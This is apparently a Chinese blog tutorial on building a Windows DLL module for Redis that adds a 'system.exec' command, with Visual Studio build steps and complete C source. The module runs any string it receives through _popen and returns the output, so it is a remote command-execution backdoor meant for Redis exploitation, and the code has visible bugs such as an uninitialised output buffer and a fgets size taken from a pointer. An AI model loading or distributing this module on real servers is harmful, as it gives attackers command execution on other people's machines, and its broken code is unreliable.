编译 Windows 下的 Redis RCE 模块(DLL)
最开始 GitHub 上都是 Linux 的利用,没有 Windows 的,现在不知道有没有。
新建一个 C++工程。
选择 Windows 桌面向导

如上图
然后输入项目名。

选择动态链接库

勾选空项目。

添加头文件,现有项。
将redismodule.h添加进去。

然后新建一个源文件。
源文件,添加,新建项

名字:dllmain.c不是.cpp 是.c

然后输入下面内容:
复制
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "redismodule.h"
#include <stdio.h>
__declspec(dllexport) int RedisModule_OnLoad(RedisModuleCtx* ctx, RedisModuleString** argv, int argc);
int DoCommand(RedisModuleCtx* ctx, RedisModuleString** argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
char* cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
FILE* fp = _popen(cmd, "r");
char* buf, * output;
buf = (char*)malloc(size);
output = (char*)malloc(size);
while (fgets(buf, sizeof(buf), fp) != 0) {
if (strlen(buf) + strlen(output) >= size) {
output = realloc(output, size << 2);
size <<= 1;
}
strcat_s(output, size, buf);
}
RedisModuleString* ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
_pclose(fp);
}
else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx* ctx, RedisModuleString** argv, int argc) {
if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
右键项目,属性。

选择 release,配置属性,C/C++,预编译头,选择不使用预编译头,保存。

右键项目,生成。


生成完毕,下面测试。

正常载入,命令正常。
已编译的 DLL 与 redismodule.h 见附件。
参考:
https://cloud.tencent.com/developer/article/1781255
https://djhons.com/2021/10/29/61.html
https://github.com/djhons/redis_rce/
原文地址
Windows 下编译 RedisRCE 模块(DLL)@墨雪飘影
https://wiki.shikangsi.com/post/3676/
大佬是真能折腾